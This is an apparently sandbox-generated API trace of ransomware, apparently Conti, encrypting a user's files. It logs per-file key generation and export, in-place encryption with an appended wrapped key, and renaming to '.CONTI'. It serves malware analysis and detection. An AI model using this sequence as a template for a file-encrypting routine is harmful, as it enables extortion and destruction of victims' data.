	[0137.761] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=4082) returned 1
	[0137.762] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xff2
	[0137.762] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.762] SetEndOfFile (hFile=0x438) returned 1
	[0137.762] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.762] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.762] WriteFile (in: hFile=0x438, lpBuffer=0x6b51df4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b51df4*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0139.083] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.083] ReadFile (in: hFile=0x438, lpBuffer=0x8e60000, nNumberOfBytesToRead=0xff2, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0xff2, lpOverlapped=0x0) returned 1
	[0139.083] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0xff2, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x1000) returned 1
	[0139.083] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.083] WriteFile (in: hFile=0x438, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x1000, lpOverlapped=0x0) returned 1
	[0139.083] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.083] WriteFile (in: hFile=0x438, lpBuffer=0x6b51de8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b51de8*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0139.083] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.083] CloseHandle (hObject=0x438) returned 1
	[0139.083] GetProcessHeap () returned 0x1720000
	[0139.083] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.835] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Desktop\\SL_A5e3.png" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\SL_A5e3.png") returned="C:\\Users\\FD1HVy\\Desktop\\SL_A5e3.png"
	[0140.835] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\SL_A5e3.png", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\SL_A5e3.png.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\SL_A5e3.png.CONTI"
	[0140.835] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\SL_A5e3.png" (normalized: "c:\\users\\fd1hvy\\desktop\\sl_a5e3.png"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\SL_A5e3.png.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\sl_a5e3.png.conti")) returned 1
	[0140.836] GetProcessHeap () returned 0x1720000
	[0140.836] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.836] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0140.836] GetProcessHeap () returned 0x1720000
	[0140.836] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d698 | out: hHeap=0x1720000) returned 1
	[0140.837] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0140.837] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b51ba8 | out: phKey=0x6b51ba8*=0x6b7f0f8) returned 1
	[0140.837] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51bac, pdwDataLen=0x393fdd4 | out: pbData=0x6b51bac*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0140.837] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url")) returned 0x20
	[0140.839] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0140.839] GetLastError () returned 0x0
	[0140.839] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=208) returned 1
	[0140.839] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd0
	[0140.840] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.840] SetEndOfFile (hFile=0x438) returned 1
	[0140.844] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.844] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.844] WriteFile (in: hFile=0x438, lpBuffer=0x6b51bac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b51bac*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.847] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.847] ReadFile (in: hFile=0x438, lpBuffer=0x8e60000, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0xd0, lpOverlapped=0x0) returned 1
	[0140.847] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0xd0, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0xe0) returned 1
	[0140.847] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.847] WriteFile (in: hFile=0x438, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0xe0, lpOverlapped=0x0) returned 1
	[0140.847] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.847] WriteFile (in: hFile=0x438, lpBuffer=0x6b51ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b51ba0*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0140.847] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.847] CloseHandle (hObject=0x438) returned 1
	[0140.847] GetProcessHeap () returned 0x1720000
	[0140.847] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.847] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Favorites\\Bing.url" | out: lpString1="C:\\Users\\FD1HVy\\Favorites\\Bing.url") returned="C:\\Users\\FD1HVy\\Favorites\\Bing.url"
	[0140.847] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Favorites\\Bing.url", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Favorites\\Bing.url.CONTI") returned="C:\\Users\\FD1HVy\\Favorites\\Bing.url.CONTI"
	[0140.847] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url"), lpNewFileName="C:\\Users\\FD1HVy\\Favorites\\Bing.url.CONTI" (normalized: "c:\\users\\fd1hvy\\favorites\\bing.url.conti")) returned 1
	[0140.848] GetProcessHeap () returned 0x1720000
	[0140.848] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.848] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0140.848] GetProcessHeap () returned 0x1720000
	[0140.848] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173cfb8 | out: hHeap=0x1720000) returned 1
	[0140.848] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0140.848] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b440a8 | out: phKey=0x6b440a8*=0x6b7f0f8) returned 1
	[0140.848] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b440ac, pdwDataLen=0x393fdd4 | out: pbData=0x6b440ac*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0140.849] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\favorites\\links\\desktop.ini")) returned 0x26
	[0140.849] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\favorites\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0140.849] GetLastError () returned 0x0
	[0140.849] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=80) returned 1
	[0140.849] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x50
	[0140.849] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.849] SetEndOfFile (hFile=0x438) returned 1
	[0140.850] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.850] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.850] WriteFile (in: hFile=0x438, lpBuffer=0x6b440ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b440ac*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.851] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.851] ReadFile (in: hFile=0x438, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x50, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x50, lpOverlapped=0x0) returned 1
	[0140.851] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x50, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x60) returned 1
	[0140.851] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.851] WriteFile (in: hFile=0x438, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x60, lpOverlapped=0x0) returned 1
	[0140.851] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.851] WriteFile (in: hFile=0x438, lpBuffer=0x6b440a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b440a0*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0140.851] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.851] CloseHandle (hObject=0x438) returned 1
	[0140.851] GetProcessHeap () returned 0x1720000
	[0140.851] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.851] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini" | out: lpString1="C:\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini") returned="C:\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini"
	[0140.851] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini.CONTI") returned="C:\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini.CONTI"
	[0140.851] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\favorites\\links\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini.CONTI" (normalized: "c:\\users\\fd1hvy\\favorites\\links\\desktop.ini.conti")) returned 1
	[0140.852] GetProcessHeap () returned 0x1720000
	[0140.852] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.852] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0140.852] GetProcessHeap () returned 0x1720000
	[0140.852] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740e60 | out: hHeap=0x1720000) returned 1
	[0140.852] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0140.852] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b50968 | out: phKey=0x6b50968*=0x6b7f0f8) returned 1
	[0140.852] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5096c, pdwDataLen=0x393fdd4 | out: pbData=0x6b5096c*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0140.853] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Links\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\links\\desktop.ini")) returned 0x6
	[0140.853] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Links\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0140.853] GetLastError () returned 0x0
	[0140.853] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=504) returned 1
	[0140.853] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1f8
	[0140.853] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.853] SetEndOfFile (hFile=0x438) returned 1
	[0140.860] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.860] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.860] WriteFile (in: hFile=0x438, lpBuffer=0x6b5096c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b5096c*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.862] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.862] ReadFile (in: hFile=0x438, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x1f8, lpOverlapped=0x0) returned 1
	[0140.862] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x1f8, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x200) returned 1
	[0140.862] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.862] WriteFile (in: hFile=0x438, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x200, lpOverlapped=0x0) returned 1
	[0140.863] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.863] WriteFile (in: hFile=0x438, lpBuffer=0x6b50960*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b50960*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0140.863] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.863] CloseHandle (hObject=0x438) returned 1
	[0140.863] GetProcessHeap () returned 0x1720000
	[0140.863] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.863] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Links\\desktop.ini" | out: lpString1="C:\\Users\\FD1HVy\\Links\\desktop.ini") returned="C:\\Users\\FD1HVy\\Links\\desktop.ini"
	[0140.863] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Links\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Links\\desktop.ini.CONTI") returned="C:\\Users\\FD1HVy\\Links\\desktop.ini.CONTI"
	[0140.863] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Links\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\links\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\Links\\desktop.ini.CONTI" (normalized: "c:\\users\\fd1hvy\\links\\desktop.ini.conti")) returned 1
	[0140.863] GetProcessHeap () returned 0x1720000
	[0140.863] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.863] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0140.863] GetProcessHeap () returned 0x1720000
	[0140.863] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d008 | out: hHeap=0x1720000) returned 1
	[0140.864] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0140.864] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b50df8 | out: phKey=0x6b50df8*=0x6b7f0f8) returned 1
	[0140.864] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b50dfc, pdwDataLen=0x393fdd4 | out: pbData=0x6b50dfc*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0140.864] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\89Owi-.mp3" (normalized: "c:\\users\\fd1hvy\\music\\89owi-.mp3")) returned 0x20
	[0140.864] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\89Owi-.mp3" (normalized: "c:\\users\\fd1hvy\\music\\89owi-.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0140.865] GetLastError () returned 0x0
	[0140.865] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=9121) returned 1
	[0140.865] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x23a1
	[0140.865] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.865] SetEndOfFile (hFile=0x438) returned 1
	[0140.865] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.865] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.865] WriteFile (in: hFile=0x438, lpBuffer=0x6b50dfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6b50dfc*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0140.871] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.871] ReadFile (in: hFile=0x438, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x23a1, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x23a1, lpOverlapped=0x0) returned 1
	[0140.872] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x23a1, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x23b0) returned 1
	[0140.872] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.872] WriteFile (in: hFile=0x438, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x23b0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x23b0, lpOverlapped=0x0) returned 1
	[0140.872] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.872] WriteFile (in: hFile=0x438, lpBuffer=0x6b50df0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6b50df0*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0140.872] SetFilePointer (in: hFile=0x438, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.872] CloseHandle (hObject=0x438) returned 1
	[0140.873] GetProcessHeap () returned 0x1720000
	[0140.873] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.873] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\89Owi-.mp3" | out: lpString1="C:\\Users\\FD1HVy\\Music\\89Owi-.mp3") returned="C:\\Users\\FD1HVy\\Music\\89Owi-.mp3"
	[0140.873] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\89Owi-.mp3", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\89Owi-.mp3.CONTI") returned="C:\\Users\\FD1HVy\\Music\\89Owi-.mp3.CONTI"
	[0140.873] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\89Owi-.mp3" (normalized: "c:\\users\\fd1hvy\\music\\89owi-.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\89Owi-.mp3.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\89owi-.mp3.conti")) returned 1
	[0140.873] GetProcessHeap () returned 0x1720000
	[0140.873] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.873] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0140.873] GetProcessHeap () returned 0x1720000
	[0140.873] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d558 | out: hHeap=0x1720000) returned 1
	[0140.873] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0140.873] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f298 | out: phKey=0x6b4f298*=0x6b7f0f8) returned 1
